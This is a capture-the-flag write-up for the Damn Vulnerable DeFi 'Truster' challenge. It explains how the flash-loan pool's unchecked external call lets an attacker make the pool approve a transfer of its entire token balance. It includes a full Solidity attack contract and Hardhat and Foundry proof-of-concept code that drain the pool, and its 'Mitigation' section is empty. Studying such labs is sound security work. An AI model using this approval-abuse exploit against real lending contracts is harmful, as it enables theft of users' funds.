ctfwriteup.com
Search
⌃K

Truster

external call

Description

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

Code Audit

Our objective is to drain the pool via flash loan within one transaction. Check out the flashLoan() function:
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
The external call target.functionCall(data) looks suspicious. What is this functionCall() thing?
It is a utility function defined in OpenZeppelin contract:
Basically it is a safe wrapper of the low-level call.
There are many things that we can do in this external call. For example, we can set target == damnValuableToken and call approve() to approve the attacker to handle all the fund in this pool. If we specify amount == 0, then there is no flash loan needs to be paid. In the attack contract, the call to flashLoan() looks like the following:
pool.flashLoan(0, address(this), address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", attacker, amount));

Hardhat Solution

Create an attack contract AttackContract.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
import "./TrusterLenderPool.sol";
contract AttackContract {
DamnValuableToken public immutable token;
TrusterLenderPool public immutable pool;
constructor(address _tokenAddress, address _poolAddress) {
token = DamnValuableToken(_tokenAddress);
pool = TrusterLenderPool(_poolAddress);
}
function pwn(address player, uint256 amount) external {
pool.flashLoan(0, address(this), address(token), abi.encodeWithSignature("approve(address,uint256)", player, amount));
}
}
PoC:
it('Execution', async function () {
const exp = await (await ethers.getContractFactory('AttackContract', player)).deploy(token.address, pool.address);
await exp.pwn(player.address, TOKENS_IN_POOL);
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});

Foundry Solution

PoC:
function exploit() internal override {
uint256 poolBalance = token.balanceOf(address(pool));
// Act as the attacker
vm.prank(attacker);
// make the pool approve the attacker to manage the whole pool balance while taking a free loan
bytes memory attackCallData = abi.encodeWithSignature("approve(address,uint256)", attacker, poolBalance);
pool.flashLoan(0, attacker, address(token), attackCallData);
// now steal all the funds
vm.prank(attacker);
token.transferFrom(address(pool), attacker, poolBalance);
}
Since we write Solidity in Foundry tests, we can just embed the content of the attacker contract into the tests. No need to deploy a separate attack contract. Foundry is indeed very convenient.

Mitigation